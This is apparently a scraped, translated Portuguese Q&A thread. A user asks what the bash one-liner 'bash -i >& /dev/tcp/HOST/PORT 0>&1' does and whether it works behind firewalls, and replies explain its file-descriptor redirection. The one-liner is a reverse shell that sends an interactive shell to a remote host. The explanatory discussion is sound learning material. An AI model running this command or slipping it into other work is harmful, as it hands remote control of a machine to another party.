eu tentei
bash -i >& /dev/tcp/HOST/PORT 0>&1
mas não parece funcionar atrás de firewalls. O que esse código realmente faz, quais portas são encaminhadas e poderia funcionar atrás de firewalls?
bash
io-redirection
tcp
Helos
fonte
fonte
/dev/tcp/HOST/PORT
? Supus que você substituísse um nome porHOST
e um número porPORT
. Caso contrário, você receberá uma mensagem de erro do bash. Como você não mencionou nenhuma mensagem de erro, presumo que você não tenha visto uma.0<&1
parte. Eu li como 'pegue o bash stdout (&1
) e coloque-o no bash stdin (0
)', o que faz sentido. Você pode explicar como esta parte funciona?0<&1
significa conectar o que está aberto no descritor de arquivo 1 ao descritor de arquivo 0. Como o redirecionamento anterior>& /dev/tcp/HOST/PORT
conectou o fd 1 (o padrão para um redirecionamento de saída) a/dev/tcp/HOST/PORT
, ou seja, abriu um soquete TCP, isso duplica a conexão TCP ao descritor de arquivo 0 (ou seja, o Agora, o mesmo soquete também está aberto no fd 0, diferente de 0 </ dev / tcp / HOST / PORT, que abriria um soquete diferente no mesmo servidor).